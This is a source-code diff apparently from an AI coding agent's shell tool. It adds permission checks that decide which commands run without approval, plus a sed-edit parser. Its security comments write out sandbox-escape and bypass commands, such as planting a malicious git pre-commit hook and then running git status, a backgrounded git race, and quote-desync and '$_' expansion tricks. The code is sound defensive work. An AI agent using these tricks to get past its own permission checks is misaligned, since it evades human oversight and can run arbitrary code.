+ // Track quote state to avoid false positives for patterns inside quoted strings
1602
+ let inSingleQuote = false
1603
+ let inDoubleQuote = false
1604
+ let escaped = false
1605
+
1606
+ for (let i = 0; i < command.length; i++) {
1607
+ const currentChar = command[i]
1608
+
1609
+ // Handle escape sequences
1610
+ if (escaped) {
1611
+ escaped = false
1612
+ continue
1613
+ }
1614
+
1615
+ // SECURITY: Only treat backslash as escape OUTSIDE single quotes. In bash,
1616
+ // `\` inside `'...'` is LITERAL — it does not escape the next character.
1617
+ // Without this guard, `'\'` desyncs the quote tracker: the `\` sets
1618
+ // escaped=true, then the closing `'` is consumed by the escaped-skip
1619
+ // instead of toggling inSingleQuote. Parser stays in single-quote
1620
+ // mode for the rest of the command, missing ALL subsequent expansions.
1621
+ // Example: `ls '\' *` — bash sees glob `*`, but desynced parser thinks
1622
+ // `*` is inside quotes → returns false (glob NOT detected).
1623
+ // Defense-in-depth: hasShellQuoteSingleQuoteBug catches `'\'` patterns
1624
+ // before this function is reached, but we fix the tracker anyway for
1625
+ // consistency with the correct implementations in bashSecurity.ts.
1626
+ if (currentChar === '\\' && !inSingleQuote) {
1627
+ escaped = true
1628
+ continue
1629
+ }
1630
+
1631
+ // Update quote state
1632
+ if (currentChar === "'" && !inDoubleQuote) {
1633
+ inSingleQuote = !inSingleQuote
1634
+ continue
1635
+ }
1636
+
1637
+ if (currentChar === '"' && !inSingleQuote) {
1638
+ inDoubleQuote = !inDoubleQuote
1639
+ continue
1640
+ }
1641
+
1642
+ // Inside single quotes: everything is literal. Skip.
1643
+ if (inSingleQuote) {
1644
+ continue
1645
+ }
1646
+
1647
+ // Check `$` followed by variable-name or special-parameter character.
1648
+ // `$` expands inside double quotes AND unquoted (only SQ makes it literal).
1649
+ if (currentChar === '$') {
1650
+ const next = command[i + 1]
1651
+ if (next && /[A-Za-z_@*#?!$0-9-]/.test(next)) {
1652
+ return true
1653
+ }
1654
+ }
1655
+
1656
+ // Globs are literal inside double quotes too. Only check unquoted.
1657
+ if (inDoubleQuote) {
1658
+ continue
1659
+ }
1660
+
1661
+ // Check for glob characters outside all quotes.
1662
+ // These could expand to anything, including dangerous flags.
1663
+ if (currentChar && /[?*[\]]/.test(currentChar)) {
1664
+ return true
1665
+ }
1666
+ }
1667
+
1668
+ return false
1669
+ }
1670
+
1671
+ /**
1672
+ * Checks if a single command string is read-only based on READONLY_COMMAND_REGEXES.
1673
+ * Internal helper function that validates individual commands.
1674
+ *
1675
+ * @param command The command string to check
1676
+ * @returns true if the command is read-only
1677
+ */
1678
+ function isCommandReadOnly(command: string): boolean {
1679
+ // Handle common stderr-to-stdout redirection pattern
1680
+ // This handles both "command 2>&1" at the end of a full command
1681
+ // and "command 2>&1" as part of a pipeline component
1682
+ let testCommand = command.trim()
1683
+ if (testCommand.endsWith(' 2>&1')) {
1684
+ // Remove the stderr redirection for pattern matching
1685
+ testCommand = testCommand.slice(0, -5).trim()
1686
+ }
1687
+
1688
+ // Check for Windows UNC paths that could be vulnerable to WebDAV attacks
1689
+ // Do this early to prevent any command with UNC paths from being marked as read-only
1690
+ if (containsVulnerableUncPath(testCommand)) {
1691
+ return false
1692
+ }
1693
+
1694
+ // Check for unquoted glob characters and expandable `$` variables that could
1695
+ // bypass our regex-based security checks. We can't know what these expand to
1696
+ // at runtime, so we can't verify the command is read-only.
1697
+ //
1698
+ // Globs: `python *` could expand to `python --help` if such a file exists.
1699
+ //
1700
+ // Variables: `uniq --skip-chars=0$_` — bash expands `$_` at runtime to the
1701
+ // last arg of the previous command. With IFS word splitting, this smuggles
1702
+ // positional args past "flags-only" regexes like uniq's `\S+`. The `$` token
1703
+ // check inside isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
1704
+ // commands; hand-written regexes in READONLY_COMMAND_REGEXES (uniq, jq, cd)
1705
+ // have no such guard. See containsUnquotedExpansion for full analysis.
1706
+ if (containsUnquotedExpansion(testCommand)) {
1707
+ return false
1708
+ }
1709
+
1710
+ // Tools like git allow `--upload-pack=cmd` to be abbreviated as `--up=cmd`
1711
+ // Regex filters can be bypassed, so we use strict allowlist validation instead.
1712
+ // This requires defining a set of known safe flags. Claude can help with this,
1713
+ // but please look over it to ensure it didn't add any flags that allow file writes
1714
+ // code execution, or network requests.
1715
+ if (isCommandSafeViaFlagParsing(testCommand)) {
1716
+ return true
1717
+ }
1718
+
1719
+ for (const regex of READONLY_COMMAND_REGEXES) {
1720
+ if (regex.test(testCommand)) {
1721
+ // Prevent git commands with -c flag to avoid config options that can lead to code execution
1722
+ // The -c flag allows setting arbitrary git config values inline, including dangerous ones like
1723
+ // core.fsmonitor, diff.external, core.gitProxy, etc. that can execute arbitrary commands
1724
+ // Check for -c preceded by whitespace and followed by whitespace or equals
1725
+ // Using regex to catch spaces, tabs, and other whitespace (not part of other flags like --cached)
1726
+ if (testCommand.includes('git') && /\s-c[\s=]/.test(testCommand)) {
1727
+ return false
1728
+ }
1729
+
1730
+ // Prevent git commands with --exec-path flag to avoid path manipulation that can lead to code execution
1731
+ // The --exec-path flag allows overriding the directory where git looks for executables
1732
+ if (
1733
+ testCommand.includes('git') &&
1734
+ /\s--exec-path[\s=]/.test(testCommand)
1735
+ ) {
1736
+ return false
1737
+ }
1738
+
1739
+ // Prevent git commands with --config-env flag to avoid config injection via environment variables
1740
+ // The --config-env flag allows setting git config values from environment variables, which can be
1741
+ // just as dangerous as -c flag (e.g., core.fsmonitor, diff.external, core.gitProxy)
1742
+ if (
1743
+ testCommand.includes('git') &&
1744
+ /\s--config-env[\s=]/.test(testCommand)
1745
+ ) {
1746
+ return false
1747
+ }
1748
+ return true
1749
+ }
1750
+ }
1751
+ return false
1752
+ }
1753
+
1754
+ /**
1755
+ * Checks if a compound command contains any git command.
1756
+ *
1757
+ * @param command The full command string to check
1758
+ * @returns true if any subcommand is a git command
1759
+ */
1760
+ function commandHasAnyGit(command: string): boolean {
1761
+ return splitCommand_DEPRECATED(command).some(subcmd =>
1762
+ isNormalizedGitCommand(subcmd.trim()),
1763
+ )
1764
+ }
1765
+
1766
+ /**
1767
+ * Git-internal path patterns that can be exploited for sandbox escape.
1768
+ * If a command creates these files and then runs git, the git command
1769
+ * could execute malicious hooks from the created files.
1770
+ */
1771
+ const GIT_INTERNAL_PATTERNS = [
1772
+ /^HEAD$/,
1773
+ /^objects(?:\/|$)/,
1774
+ /^refs(?:\/|$)/,
1775
+ /^hooks(?:\/|$)/,
1776
+ ]
1777
+
1778
+ /**
1779
+ * Checks if a path is a git-internal path (HEAD, objects/, refs/, hooks/).
1780
+ */
1781
+ function isGitInternalPath(path: string): boolean {
1782
+ // Normalize path by removing leading ./ or /
1783
+ const normalized = path.replace(/^\.?\//, '')
1784
+ return GIT_INTERNAL_PATTERNS.some(pattern => pattern.test(normalized))
1785
+ }
1786
+
1787
+ // Commands that only delete or modify in-place (don't create new files at new paths)
1788
+ const NON_CREATING_WRITE_COMMANDS = new Set(['rm', 'rmdir', 'sed'])
1789
+
1790
+ /**
1791
+ * Extracts write paths from a subcommand using PATH_EXTRACTORS.
1792
+ * Only returns paths for commands that can create new files/directories
1793
+ * (write/create operations excluding deletion and in-place modification).
1794
+ */
1795
+ function extractWritePathsFromSubcommand(subcommand: string): string[] {
1796
+ const parseResult = tryParseShellCommand(subcommand, env => `$${env}`)
1797
+ if (!parseResult.success) return []
1798
+
1799
+ const tokens = parseResult.tokens.filter(
1800
+ (t): t is string => typeof t === 'string',
1801
+ )
1802
+ if (tokens.length === 0) return []
1803
+
1804
+ const baseCmd = tokens[0]
1805
+ if (!baseCmd) return []
1806
+
1807
+ // Only consider commands that can create files at target paths
1808
+ if (!(baseCmd in COMMAND_OPERATION_TYPE)) {
1809
+ return []
1810
+ }
1811
+ const opType = COMMAND_OPERATION_TYPE[baseCmd as PathCommand]
1812
+ if (
1813
+ (opType !== 'write' && opType !== 'create') ||
1814
+ NON_CREATING_WRITE_COMMANDS.has(baseCmd)
1815
+ ) {
1816
+ return []
1817
+ }
1818
+
1819
+ const extractor = PATH_EXTRACTORS[baseCmd as PathCommand]
1820
+ if (!extractor) return []
1821
+
1822
+ return extractor(tokens.slice(1))
1823
+ }
1824
+
1825
+ /**
1826
+ * Checks if a compound command writes to any git-internal paths.
1827
+ * This is used to detect potential sandbox escape attacks where a command
1828
+ * creates git-internal files (HEAD, objects/, refs/, hooks/) and then runs git.
1829
+ *
1830
+ * SECURITY: A compound command could bypass the bare repo detection by:
1831
+ * 1. Creating bare git repo files (HEAD, objects/, refs/, hooks/) in the same command
1832
+ * 2. Then running git, which would execute malicious hooks
1833
+ *
1834
+ * Example attack:
1835
+ * mkdir -p objects refs hooks && echo '#!/bin/bash\nmalicious' > hooks/pre-commit && touch HEAD && git status
1836
+ *
1837
+ * @param command The full command string to check
1838
+ * @returns true if any subcommand writes to git-internal paths
1839
+ */
1840
+ function commandWritesToGitInternalPaths(command: string): boolean {
1841
+ const subcommands = splitCommand_DEPRECATED(command)
1842
+
1843
+ for (const subcmd of subcommands) {
1844
+ const trimmed = subcmd.trim()
1845
+
1846
+ // Check write paths from path-based commands (mkdir, touch, cp, mv)
1847
+ const writePaths = extractWritePathsFromSubcommand(trimmed)
1848
+ for (const path of writePaths) {
1849
+ if (isGitInternalPath(path)) {
1850
+ return true
1851
+ }
1852
+ }
1853
+
1854
+ // Check output redirections (e.g., echo x > hooks/pre-commit)
1855
+ const { redirections } = extractOutputRedirections(trimmed)
1856
+ for (const { target } of redirections) {
1857
+ if (isGitInternalPath(target)) {
1858
+ return true
1859
+ }
1860
+ }
1861
+ }
1862
+
1863
+ return false
1864
+ }
1865
+
1866
+ /**
1867
+ * Checks read-only constraints for bash commands.
1868
+ * This is the single exported function that validates whether a command is read-only.
1869
+ * It handles compound commands, sandbox mode, and safety checks.
1870
+ *
1871
+ * @param input The bash command input to validate
1872
+ * @param compoundCommandHasCd Pre-computed flag indicating if any cd command exists in the compound command.
1873
+ * This is computed by commandHasAnyCd() and passed in to avoid duplicate computation.
1874
+ * @returns PermissionResult indicating whether the command is read-only
1875
+ */
1876
+ export function checkReadOnlyConstraints(
1877
+ input: z.infer<typeof BashTool.inputSchema>,
1878
+ compoundCommandHasCd: boolean,
1879
+ ): PermissionResult {
1880
+ const { command } = input
1881
+
1882
+ // Detect if the command is not parseable and return early
1883
+ const result = tryParseShellCommand(command, env => `$${env}`)
1884
+ if (!result.success) {
1885
+ return {
1886
+ behavior: 'passthrough',
1887
+ message: 'Command cannot be parsed, requires further permission checks',
1888
+ }
1889
+ }
1890
+
1891
+ // Check the original command for safety before splitting
1892
+ // This is important because splitCommand_DEPRECATED may transform the command
1893
+ // (e.g., ${VAR} becomes $VAR)
1894
+ if (bashCommandIsSafe_DEPRECATED(command).behavior !== 'passthrough') {
1895
+ return {
1896
+ behavior: 'passthrough',
1897
+ message: 'Command is not read-only, requires further permission checks',
1898
+ }
1899
+ }
1900
+
1901
+ // Check for Windows UNC paths in the original command before transformation
1902
+ // This must be done before splitCommand_DEPRECATED because splitCommand_DEPRECATED may transform backslashes
1903
+ if (containsVulnerableUncPath(command)) {
1904
+ return {
1905
+ behavior: 'ask',
1906
+ message:
1907
+ 'Command contains Windows UNC path that could be vulnerable to WebDAV attacks',
1908
+ }
1909
+ }
1910
+
1911
+ // Check once if any subcommand is a git command (used for multiple security checks below)
1912
+ const hasGitCommand = commandHasAnyGit(command)
1913
+
1914
+ // SECURITY: Block compound commands that have both cd AND git
1915
+ // This prevents sandbox escape via: cd /malicious/dir && git status
1916
+ // where the malicious directory contains fake git hooks that execute arbitrary code.
1917
+ if (compoundCommandHasCd && hasGitCommand) {
1918
+ return {
1919
+ behavior: 'passthrough',
1920
+ message:
1921
+ 'Compound commands with cd and git require permission checks for enhanced security',
1922
+ }
1923
+ }
1924
+
1925
+ // SECURITY: Block git commands if the current directory looks like a bare/exploited git repo
1926
+ // This prevents sandbox escape when an attacker has:
1927
+ // 1. Deleted .git/HEAD to invalidate the normal git directory
1928
+ // 2. Created hooks/pre-commit or other git-internal files in the current directory
1929
+ // Git would then treat the cwd as the git directory and execute malicious hooks.
1930
+ if (hasGitCommand && isCurrentDirectoryBareGitRepo()) {
1931
+ return {
1932
+ behavior: 'passthrough',
1933
+ message:
1934
+ 'Git commands in directories with bare repository structure require permission checks for enhanced security',
1935
+ }
1936
+ }
1937
+
1938
+ // SECURITY: Block compound commands that write to git-internal paths AND run git
1939
+ // This prevents sandbox escape where a command creates git-internal files
1940
+ // (HEAD, objects/, refs/, hooks/) and then runs git, which would execute
1941
+ // malicious hooks from the newly created files.
1942
+ // Example attack: mkdir -p hooks && echo 'malicious' > hooks/pre-commit && git status
1943
+ if (hasGitCommand && commandWritesToGitInternalPaths(command)) {
1944
+ return {
1945
+ behavior: 'passthrough',
1946
+ message:
1947
+ 'Compound commands that create git internal files and run git require permission checks for enhanced security',
1948
+ }
1949
+ }
1950
+
1951
+ // SECURITY: Only auto-allow git commands as read-only if we're in the original cwd
1952
+ // (which is protected by sandbox denyWrite) or if sandbox is disabled (attack is moot).
1953
+ // Race condition: a sandboxed command can create bare repo files in a subdirectory,
1954
+ // and a backgrounded git command (e.g. sleep 10 && git status) would pass the
1955
+ // isCurrentDirectoryBareGitRepo() check at evaluation time before the files exist.
1956
+ if (
1957
+ hasGitCommand &&
1958
+ SandboxManager.isSandboxingEnabled() &&
1959
+ getCwd() !== getOriginalCwd()
1960
+ ) {
1961
+ return {
1962
+ behavior: 'passthrough',
1963
+ message:
1964
+ 'Git commands outside the original working directory require permission checks when sandbox is enabled',
1965
+ }
1966
+ }
1967
+
1968
+ // Check if all subcommands are read-only
1969
+ const allSubcommandsReadOnly = splitCommand_DEPRECATED(command).every(
1970
+ subcmd => {
1971
+ if (bashCommandIsSafe_DEPRECATED(subcmd).behavior !== 'passthrough') {
1972
+ return false
1973
+ }
1974
+ return isCommandReadOnly(subcmd)
1975
+ },
1976
+ )
1977
+
1978
+ if (allSubcommandsReadOnly) {
1979
+ return {
1980
+ behavior: 'allow',
1981
+ updatedInput: input,
1982
+ }
1983
+ }
1984
+
1985
+ // If not read-only, return passthrough to let other permission checks handle it
1986
+ return {
1987
+ behavior: 'passthrough',
1988
+ message: 'Command is not read-only, requires further permission checks',
1989
+ }
1990
+ }
src/tools/BashTool/sedEditParser.ts ADDED
@@ -0,0 +1,322 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /**
2
+ * Parser for sed edit commands (-i flag substitutions)
3
+ * Extracts file paths and substitution patterns to enable file-edit-style rendering
4
+ */
5
+
6
+ import { randomBytes } from 'crypto'
7
+ import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
8
+
9
+ // BRE→ERE conversion placeholders (null-byte sentinels, never appear in user input)
10
+ const BACKSLASH_PLACEHOLDER = '\x00BACKSLASH\x00'
11
+ const PLUS_PLACEHOLDER = '\x00PLUS\x00'
12
+ const QUESTION_PLACEHOLDER = '\x00QUESTION\x00'
13
+ const PIPE_PLACEHOLDER = '\x00PIPE\x00'
14
+ const LPAREN_PLACEHOLDER = '\x00LPAREN\x00'
15
+ const RPAREN_PLACEHOLDER = '\x00RPAREN\x00'
16
+ const BACKSLASH_PLACEHOLDER_RE = new RegExp(BACKSLASH_PLACEHOLDER, 'g')
17
+ const PLUS_PLACEHOLDER_RE = new RegExp(PLUS_PLACEHOLDER, 'g')
18
+ const QUESTION_PLACEHOLDER_RE = new RegExp(QUESTION_PLACEHOLDER, 'g')
19
+ const PIPE_PLACEHOLDER_RE = new RegExp(PIPE_PLACEHOLDER, 'g')
20
+ const LPAREN_PLACEHOLDER_RE = new RegExp(LPAREN_PLACEHOLDER, 'g')
21
+ const RPAREN_PLACEHOLDER_RE = new RegExp(RPAREN_PLACEHOLDER, 'g')
22
+
23
+ export type SedEditInfo = {
24
+ /** The file path being edited */
25
+ filePath: string
26
+ /** The search pattern (regex) */
27
+ pattern: string
28
+ /** The replacement string */
29
+ replacement: string
30
+ /** Substitution flags (g, i, etc.) */
31
+ flags: string
32
+ /** Whether to use extended regex (-E or -r flag) */
33
+ extendedRegex: boolean
34
+ }
35
+
36
+ /**
37
+ * Check if a command is a sed in-place edit command
38
+ * Returns true only for simple sed -i 's/pattern/replacement/flags' file commands
39
+ */
40
+ export function isSedInPlaceEdit(command: string): boolean {
41
+ const info = parseSedEditCommand(command)
42
+ return info !== null
43
+ }
44
+
45
+ /**
46
+ * Parse a sed edit command and extract the edit information
47
+ * Returns null if the command is not a valid sed in-place edit
48
+ */
49
+ export function parseSedEditCommand(command: string): SedEditInfo | null {
50
+ const trimmed = command.trim()
51
+
52
+ // Must start with sed
53
+ const sedMatch = trimmed.match(/^\s*sed\s+/)
54
+ if (!sedMatch) return null
55
+
56
+ const withoutSed = trimmed.slice(sedMatch[0].length)
57
+ const parseResult = tryParseShellCommand(withoutSed)
58
+ if (!parseResult.success) return null
59
+ const tokens = parseResult.tokens
60
+
61
+ // Extract string tokens only
62
+ const args: string[] = []
63
+ for (const token of tokens) {
64
+ if (typeof token === 'string') {
65
+ args.push(token)
66
+ } else if (
67
+ typeof token === 'object' &&
68
+ token !== null &&
69
+ 'op' in token &&
70
+ token.op === 'glob'
71
+ ) {
72
+ // Glob patterns are too complex for this simple parser
73
+ return null
74
+ }
75
+ }
76
+
77
+ // Parse flags and arguments
78
+ let hasInPlaceFlag = false
79
+ let extendedRegex = false
80
+ let expression: string | null = null
81
+ let filePath: string | null = null
82
+
83
+ let i = 0
84
+ while (i < args.length) {
85
+ const arg = args[i]!
86
+
87
+ // Handle -i flag (with or without backup suffix)
88
+ if (arg === '-i' || arg === '--in-place') {
89
+ hasInPlaceFlag = true
90
+ i++
91
+ // On macOS, -i requires a suffix argument (even if empty string)
92
+ // Check if next arg looks like a backup suffix (empty, or starts with dot)
93
+ // Don't consume flags (-E, -r) or sed expressions (starting with s, y, d)
94
+ if (i < args.length) {
95
+ const nextArg = args[i]
96
+ // If next arg is empty string or starts with dot, it's a backup suffix
97
+ if (
98
+ typeof nextArg === 'string' &&
99
+ !nextArg.startsWith('-') &&
100
+ (nextArg === '' || nextArg.startsWith('.'))
101
+ ) {
102
+ i++ // Skip the backup suffix
103
+ }
104
+ }
105
+ continue
106
+ }
107
+ if (arg.startsWith('-i')) {
108
+ // -i.bak or similar (inline suffix)
109
+ hasInPlaceFlag = true
110
+ i++
111
+ continue
112
+ }
113
+
114
+ // Handle extended regex flags
115
+ if (arg === '-E' || arg === '-r' || arg === '--regexp-extended') {
116
+ extendedRegex = true
117
+ i++
118
+ continue
119
+ }
120
+
121
+ // Handle -e flag with expression
122
+ if (arg === '-e' || arg === '--expression') {
123
+ if (i + 1 < args.length && typeof args[i + 1] === 'string') {
124
+ // Only support single expression
125
+ if (expression !== null) return null
126
+ expression = args[i + 1]!
127
+ i += 2
128
+ continue
129
+ }
130
+ return null
131
+ }
132
+ if (arg.startsWith('--expression=')) {
133
+ if (expression !== null) return null
134
+ expression = arg.slice('--expression='.length)
135
+ i++
136
+ continue
137
+ }
138
+
139
+ // Skip other flags we don't understand
140
+ if (arg.startsWith('-')) {
141
+ // Unknown flag - not safe to parse
142
+ return null
143
+ }
144
+
145
+ // Non-flag argument
146
+ if (expression === null) {
147
+ // First non-flag arg is the expression
148
+ expression = arg
149
+ } else if (filePath === null) {
150
+ // Second non-flag arg is the file path
151
+ filePath = arg
152
+ } else {
153
+ // More than one file - not supported for simple rendering
154
+ return null
155
+ }
156
+
157
+ i++
158
+ }
159
+
160
+ // Must have -i flag, expression, and file path
161
+ if (!hasInPlaceFlag || !expression || !filePath) {
162
+ return null
163
+ }
164
+
165
+ // Parse the substitution expression: s/pattern/replacement/flags
166
+ // Only support / as delimiter for simplicity
167
+ const substMatch = expression.match(/^s\//)
168
+ if (!substMatch) {
169
+ return null
170
+ }
171
+
172
+ const rest = expression.slice(2) // Skip 's/'
173
+
174
+ // Find pattern and replacement by tracking escaped characters
175
+ let pattern = ''
176
+ let replacement = ''
177
+ let flags = ''
178
+ let state: 'pattern' | 'replacement' | 'flags' = 'pattern'
179
+ let j = 0
180
+
181
+ while (j < rest.length) {
182
+ const char = rest[j]!
183
+
184
+ if (char === '\\' && j + 1 < rest.length) {
185
+ // Escaped character
186
+ if (state === 'pattern') {
187
+ pattern += char + rest[j + 1]
188
+ } else if (state === 'replacement') {
189
+ replacement += char + rest[j + 1]
190
+ } else {
191
+ flags += char + rest[j + 1]
192
+ }
193
+ j += 2
194
+ continue
195
+ }
196
+
197
+ if (char === '/') {
198
+ if (state === 'pattern') {
199
+ state = 'replacement'
200
+ } else if (state === 'replacement') {
201
+ state = 'flags'
202
+ } else {
203
+ // Extra delimiter in flags - unexpected
204
+ return null
205
+ }
206
+ j++
207
+ continue
208
+ }
209
+
210
+ if (state === 'pattern') {
211
+ pattern += char
212
+ } else if (state === 'replacement') {
213
+ replacement += char
214
+ } else {
215
+ flags += char
216
+ }
217
+ j++
218
+ }
219
+
220
+ // Must have found all three parts (pattern, replacement delimiter, and optional flags)
221
+ if (state !== 'flags') {
222
+ return null
223
+ }
224
+
225
+ // Validate flags - only allow safe substitution flags
226
+ const validFlags = /^[gpimIM1-9]*$/
227
+ if (!validFlags.test(flags)) {
228
+ return null
229
+ }
230
+
231
+ return {
232
+ filePath,
233
+ pattern,
234
+ replacement,
235
+ flags,
236
+ extendedRegex,
237
+ }
238
+ }
239
+
240
+ /**
241
+ * Apply a sed substitution to file content
242
+ * Returns the new content after applying the substitution
243
+ */
244
+ export function applySedSubstitution(
245
+ content: string,
246
+ sedInfo: SedEditInfo,
247
+ ): string {
248
+ // Convert sed pattern to JavaScript regex
249
+ let regexFlags = ''
250
+
251
+ // Handle global flag
252
+ if (sedInfo.flags.includes('g')) {
253
+ regexFlags += 'g'
254
+ }
255
+
256
+ // Handle case-insensitive flag (i or I in sed)
257
+ if (sedInfo.flags.includes('i') || sedInfo.flags.includes('I')) {
258
+ regexFlags += 'i'
259
+ }
260
+
261
+ // Handle multiline flag (m or M in sed)
262
+ if (sedInfo.flags.includes('m') || sedInfo.flags.includes('M')) {
263
+ regexFlags += 'm'
264
+ }
265
+
266
+ // Convert sed pattern to JavaScript regex pattern
267
+ let jsPattern = sedInfo.pattern
268
+ // Unescape \/ to /
269
+ .replace(/\\\//g, '/')
270
+
271
+ // In BRE mode (no -E flag), metacharacters have opposite escaping:
272
+ // BRE: \+ means "one or more", + is literal
273
+ // ERE/JS: + means "one or more", \+ is literal
274
+ // We need to convert BRE escaping to ERE for JavaScript regex
275
+ if (!sedInfo.extendedRegex) {
276
+ jsPattern = jsPattern
277
+ // Step 1: Protect literal backslashes (\\) first - in both BRE and ERE, \\ is literal backslash
278
+ .replace(/\\\\/g, BACKSLASH_PLACEHOLDER)
279
+ // Step 2: Replace escaped metacharacters with placeholders (these should become unescaped in JS)
280
+ .replace(/\\\+/g, PLUS_PLACEHOLDER)
281
+ .replace(/\\\?/g, QUESTION_PLACEHOLDER)
282
+ .replace(/\\\|/g, PIPE_PLACEHOLDER)
283
+ .replace(/\\\(/g, LPAREN_PLACEHOLDER)
284
+ .replace(/\\\)/g, RPAREN_PLACEHOLDER)
285
+ // Step 3: Escape unescaped metacharacters (these are literal in BRE)
286
+ .replace(/\+/g, '\\+')
287
+ .replace(/\?/g, '\\?')
288
+ .replace(/\|/g, '\\|')
289
+ .replace(/\(/g, '\\(')
290
+ .replace(/\)/g, '\\)')
291
+ // Step 4: Replace placeholders with their JS equivalents
292
+ .replace(BACKSLASH_PLACEHOLDER_RE, '\\\\')
293
+ .replace(PLUS_PLACEHOLDER_RE, '+')
294
+ .replace(QUESTION_PLACEHOLDER_RE, '?')
295
+ .replace(PIPE_PLACEHOLDER_RE, '|')
296
+ .replace(LPAREN_PLACEHOLDER_RE, '(')
297
+ .replace(RPAREN_PLACEHOLDER_RE, ')')
298
+ }
299
+
300
+ // Unescape sed-specific escapes in replacement
301
+ // Convert \n to newline, & to $& (match), etc.
302
+ // Use a unique placeholder with random salt to prevent injection attacks
303
+ const salt = randomBytes(8).toString('hex')
304
+ const ESCAPED_AMP_PLACEHOLDER = `___ESCAPED_AMPERSAND_${salt}___`
305
+ const jsReplacement = sedInfo.replacement
306
+ // Unescape \/ to /
307
+ .replace(/\\\//g, '/')
308
+ // First escape \& to a placeholder
309
+ .replace(/\\&/g, ESCAPED_AMP_PLACEHOLDER)
310
+ // Convert & to $& (full match) - use $$& to get literal $& in output
311
+ .replace(/&/g, '$$&')
312
+ // Convert placeholder back to literal &
313
+ .replace(new RegExp(ESCAPED_AMP_PLACEHOLDER, 'g'), '&')
314
+
315
+ try {
316
+ const regex = new RegExp(jsPattern, regexFlags)
317
+ return content.replace(regex, jsReplacement)
318
+ } catch {
319
+ // If regex is invalid, return original content
320
+ return content
321
+ }
322
+ }
src/tools/BashTool/sedValidation.ts ADDED
@@ -0,0 +1,684 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import type { ToolPermissionContext } from '../../Tool.js'
2
+ import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
3
+ import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
4
+ import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
5
+
6
+ /**
7
+ * Helper: Validate flags against an allowlist
8
+ * Handles both single flags and combined flags (e.g., -nE)
9
+ * @param flags Array of flags to validate
10
+ * @param allowedFlags Array of allowed single-character and long flags
11
+ * @returns true if all flags are valid, false otherwise
12
+ */
13
+ function validateFlagsAgainstAllowlist(
14
+ flags: string[],
15
+ allowedFlags: string[],
16
+ ): boolean {
17
+ for (const flag of flags) {
18
+ // Handle combined flags like -nE or -Er
19
+ if (flag.startsWith('-') && !flag.startsWith('--') && flag.length > 2) {
20
+ // Check each character in combined flag
21
+ for (let i = 1; i < flag.length; i++) {
22
+ const singleFlag = '-' + flag[i]
23
